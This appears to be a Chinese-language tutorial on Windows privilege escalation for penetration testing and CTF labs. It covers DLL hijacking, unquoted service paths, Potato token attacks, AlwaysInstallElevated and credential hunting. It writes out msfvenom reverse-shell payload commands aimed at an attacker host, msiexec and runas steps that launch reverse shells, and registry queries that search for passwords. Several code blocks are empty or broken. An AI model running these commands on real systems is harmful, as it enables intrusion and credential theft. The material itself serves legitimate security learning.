在渗透测试或 CTF 期间,您通常会发现在目标系统上获得初始立足点相对容易。挑战通常出现在特权升级阶段。虽然某些技术需要对目标系统进行大量枚举,但您可能偶尔会看到易受攻击的内核(管理整个操作系统的程序 - 您可以在此处找到有关内核的更多信息)或包含明文密码的文件。提升您的权限有时可能需要您链接两个或更多漏洞。
相关命令
1 | 用户枚举 当前用户的权限:whoami /priv |
1 | 收集系统信息 |
1 | 搜索文件 |
1 | 安装过的补丁 |
提权辅助工具
winPEAS
1 | 这个工具windows报毒的 |
PowerUp.ps1
1 | C:\Users\user\Desktop>powershell.exe -nop -exec bypass |
Windows Exploit Suggester
1 | 放在kali机上 |
Metasploit
1 | msf上线后可以 |
易受攻击的软件提权
1 | wmic product get name,version,vendor 收集的已安装软件的信息。 |
DLL劫持
DLL 劫持需要一个应用程序(通常是一个 exe 文件),该应用程序要么缺少 DLL 文件,要么可以使用搜索顺序插入恶意 DLL 文件。
DLL劫持场景包括用恶意 DLL 文件替换合法的DLL 文件,该恶意 DLL 文件将由可执行文件调用并运行。
操作DLL 文件可能意味着替换现有文件或在应用程序正在查找的位置创建文件。为了更好地了解这一点,我们需要知道应用程序在哪里寻找 DLL 文件。
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
寻找DLL劫持漏洞
工具:Process Monitor (ProcMon)
由于 ProcMon 需要管理权限才能工作,因此这不是您可以在目标系统上发现的漏洞。
如果您想检查任何软件是否存在潜在的 DLL 劫持漏洞,您需要在您的测试环境中安装该软件并在那里进行研究。
上面屏幕截图的最后两行显示 dllhijackservice.exe 正在尝试在“C:\Temp”文件夹中启动 hijackme.dll 但找不到该文件。这是缺少 DLL 文件的典型案例。
攻击的第二步将包括我们在该特定位置创建此文件。对我们希望用于 DLL 劫持的任何文件夹拥有写入权限非常重要。在这种情况下,位置是几乎所有用户都有写权限的 Temp 文件夹;
创建恶意DLL文件
1 |
|
1 |
|
mingw 编译器可用于生成 DLL 文件
1 | x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll |
可以登录rdp和ssh的工具
未引用的服务路径
在 Windows 中启动服务时,操作系统必须查找并运行可执行文件。
例如,您将在下面的终端输出中看到“netlogon”服务(负责对域中的用户进行身份验证)
实际上是指 C:\Windows\system32\lsass.exe 二进制文件。
查找未引用的服务路径漏洞
winPEAS 和 PowerUp.ps1 等工具通常会检测未引用的服务路径。但是我们需要确保满足利用该漏洞的其他要求。
- 能够写入路径上的文件夹
- 能够重新启动服务
不满足其中任何一个条件,则可能无法成功利用。找到了一个可以写入的文件夹。由于这个文件夹也在服务的二进制路径中,我们知道服务将尝试运行一个以文件夹名称的第一个单词命名的可执行文件。1
2
3
4
5
6
7wmic service get name,displayname,pathname,startmode
列出目标系统上运行的服务。结果还会打印出其他信息,例如显示名称和路径。
sc qc unquotedsvc 检查此服务的二进制路径
.\accesschk64.exe /accepteula -uwdq "C:\Program Files\"
输出将列出对“Program Files”文件夹具有读取 (R) 和写入 (W) 权限的用户组。
我们可以使用 msfvenom(在 AttackBox 上)来生成可执行文件。下面的命令会将 Meterpreter 包装在一个可执行文件中。
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=[ -f exe > executable_name.exe |
生成文件并将其移动到目标计算机上的正确位置后,您将需要重新启动易受攻击的服务。
1 | sc start unquotedsvc 命令启动服务。 |
令牌模拟
在 Server 2019 和 Windows 10(版本 1809)之后的 Windows 版本中,模拟权限受到限制。
您可以在下面看到普通用户没有“SeImpersonatePrivilege”权限。
管理员输出whoami /priv
对令牌模拟漏洞进行进一步研究,您会发现存在许多不同的漏洞。
例如 Hot Potato、Rotten Potato、Lonely Potato、Juicy Potato 等。
热土豆:步骤 1 到 4
第 1 步:目标系统使用 Web 代理自动发现 (WPAD) 协议来定位其更新服务器。
第 2 步:这个请求被漏洞利用拦截,它发送一个响应,将目标系统重定向到 127.0.0.1 上的端口。
第 3 步:目标系统将要求提供代理配置文件 (wpad.dat)。
第 4 步:向目标发送恶意 wpad.dat 文件。
第 5 步:目标系统尝试连接到代理(现在由上一步发送的恶意 wpad.dat 文件设置)。
第 6 步:漏洞利用将要求目标系统执行 NTLM 身份验证。
第 7 步:目标系统发送 NTLM 握手。
第 8 步:收到的握手被中继到 SMB 服务,请求创建一个进程。
此进程将具有目标服务的特权级别,通常为“NT AUTHORITY\SYSTEM”。
微软在 MS16-075 安全公告中发布了更新以缓解此漏洞,Hot Potato 紧随其后的是 Rotten Potato。Rotten Potato 使用了类似的方法,但利用了 RPC。
您可以使用哪个“Potato”版本取决于目标系统的版本、补丁级别和网络连接限制。虽然“Hot Potato”在目标系统中工作,但其他版本可能需要通过特定端口进行网络访问。
计划任务提权
查看目标系统上的计划任务,您可能会看到一个计划任务丢失其二进制文件或使用您可以修改的二进制文件。
要使此方法起作用,应将计划任务设置为使用比您当前拥有的权限级别更高的用户帐户运行。
可以使用schtasks命令从命令行列出计划任务,使用任务计划程序,或者如果可能,将 Autoruns64.exe 等工具上传到目标系统。
AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。
但是,如果安装需要管理员权限,则可以将它们配置为以更高的权限运行。
这可能允许我们生成一个以管理员权限运行的恶意 MSI 文件。
此方法需要设置两个注册表值。
您可以使用以下命令从命令行查询这些。
1 | reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer |
生成恶意 .msi 文件msfvenom
1 | msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKING_10.10.71.176 LPORT=LOCAL_PORT -f msi -o malicious.msi 同时起一个监听 |
传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell。
1 | C:\Users\user\Desktop>msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
密码
我们之前已经看到,寻找包含明文密码的配置文件或用户生成的文件会很有收获。
Windows 上还有其他位置可以隐藏明文密码。
保存的凭据
Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据。
1
cmdkey /list
如果您看到任何值得尝试的凭据,您可以将它们与
runas 命令和/savecred选项一起使用,如下所示。
runas /savecred /user:admin reverse_shell.exe
注册表项
可以使用以下命令查询可能包含密码的注册表项。
1 | reg query HKLM /f password /t REG_SZ /s |
Unattend 文件
Unattend.xml 文件可帮助系统管理员设置 Windows 系统。设置完成后需要删除它们,但有时可能会在系统上忘记它们。
根据已完成的设置,您将在 unattend.xml 文件中找到的内容可能会有所不同。如果您可以在系统上找到它们,那么它们值得一读。